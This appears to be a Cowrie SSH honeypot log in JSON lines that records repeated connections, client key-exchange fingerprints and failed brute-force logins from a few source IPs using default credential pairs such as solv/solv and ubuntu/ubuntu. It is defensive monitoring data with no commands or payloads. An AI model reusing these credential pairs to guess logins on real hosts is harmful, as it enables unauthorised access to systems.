{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:29:28.807227Z","src_ip":"92.118.39.76","session":"8c53d92fbdce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":48008,"dst_ip":"10.17.0.5","dst_port":22,"session":"9962949e7746","protocol":"ssh","message":"New connection: 195.178.110.218:48008 (10.17.0.5:22) [session: 9962949e7746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:29:32.916184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:29:32.921129Z","src_ip":"195.178.110.218","session":"9962949e7746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:29:33.001339Z","src_ip":"195.178.110.218","session":"9962949e7746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:29:33.241100Z","src_ip":"195.178.110.218","session":"9962949e7746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:29:34.323060Z","src_ip":"195.178.110.218","session":"9962949e7746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53456,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fcae78510b0","protocol":"ssh","message":"New connection: 2.57.122.208:53456 (10.17.0.5:22) [session: 5fcae78510b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:30:32.116014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:30:32.176066Z","src_ip":"2.57.122.208","session":"5fcae78510b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:30:32.327127Z","src_ip":"2.57.122.208","session":"5fcae78510b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:30:33.176985Z","src_ip":"2.57.122.208","session":"5fcae78510b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:30:34.420436Z","src_ip":"2.57.122.208","session":"5fcae78510b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":46434,"dst_ip":"159.203.135.109","dst_port":22,"session":"e04b4158cbd2","protocol":"ssh","message":"New connection: 195.178.110.218:46434 (159.203.135.109:22) [session: e04b4158cbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:30:37.222470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:30:37.228114Z","src_ip":"195.178.110.218","session":"e04b4158cbd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:30:37.308199Z","src_ip":"195.178.110.218","session":"e04b4158cbd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:30:37.551616Z","src_ip":"195.178.110.218","session":"e04b4158cbd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:30:38.634654Z","src_ip":"195.178.110.218","session":"e04b4158cbd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":59380,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a9f7357b589","protocol":"ssh","message":"New connection: 92.118.39.76:59380 (10.17.0.5:22) [session: 1a9f7357b589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:31:35.777980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:31:35.783006Z","src_ip":"92.118.39.76","session":"1a9f7357b589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:31:35.889042Z","src_ip":"92.118.39.76","session":"1a9f7357b589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:31:36.212548Z","src_ip":"92.118.39.76","session":"1a9f7357b589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:31:37.322925Z","src_ip":"92.118.39.76","session":"1a9f7357b589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":32970,"dst_ip":"10.17.0.5","dst_port":22,"session":"1981537b776d","protocol":"ssh","message":"New connection: 195.178.110.218:32970 (10.17.0.5:22) [session: 1981537b776d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:32:18.272381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:32:18.277299Z","src_ip":"195.178.110.218","session":"1981537b776d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:32:18.354017Z","src_ip":"195.178.110.218","session":"1981537b776d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:32:18.581906Z","src_ip":"195.178.110.218","session":"1981537b776d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:32:19.662873Z","src_ip":"195.178.110.218","session":"1981537b776d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56068,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d81defb6fa6","protocol":"ssh","message":"New connection: 2.57.122.208:56068 (10.17.0.5:22) [session: 1d81defb6fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:32:47.941192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:32:48.114618Z","src_ip":"2.57.122.208","session":"1d81defb6fa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:32:48.118553Z","src_ip":"2.57.122.208","session":"1d81defb6fa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:32:48.855798Z","src_ip":"2.57.122.208","session":"1d81defb6fa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:32:50.007543Z","src_ip":"2.57.122.208","session":"1d81defb6fa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":55252,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f32bbb86b02","protocol":"ssh","message":"New connection: 195.178.110.218:55252 (159.203.135.109:22) [session: 7f32bbb86b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:33:29.557636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:33:29.561700Z","src_ip":"195.178.110.218","session":"7f32bbb86b02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:33:29.642035Z","src_ip":"195.178.110.218","session":"7f32bbb86b02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:33:29.881801Z","src_ip":"195.178.110.218","session":"7f32bbb86b02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:33:30.964491Z","src_ip":"195.178.110.218","session":"7f32bbb86b02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":47468,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeeac11a6727","protocol":"ssh","message":"New connection: 92.118.39.76:47468 (10.17.0.5:22) [session: eeeac11a6727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:33:51.062141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:33:51.066794Z","src_ip":"92.118.39.76","session":"eeeac11a6727","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:33:51.168829Z","src_ip":"92.118.39.76","session":"eeeac11a6727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:33:51.470659Z","src_ip":"92.118.39.76","session":"eeeac11a6727","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:33:52.581216Z","src_ip":"92.118.39.76","session":"eeeac11a6727","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60098,"dst_ip":"10.17.0.5","dst_port":22,"session":"c58da9e17229","protocol":"ssh","message":"New connection: 195.178.110.218:60098 (10.17.0.5:22) [session: c58da9e17229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:34:59.988138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:34:59.992731Z","src_ip":"195.178.110.218","session":"c58da9e17229","protocol":"ssh"}
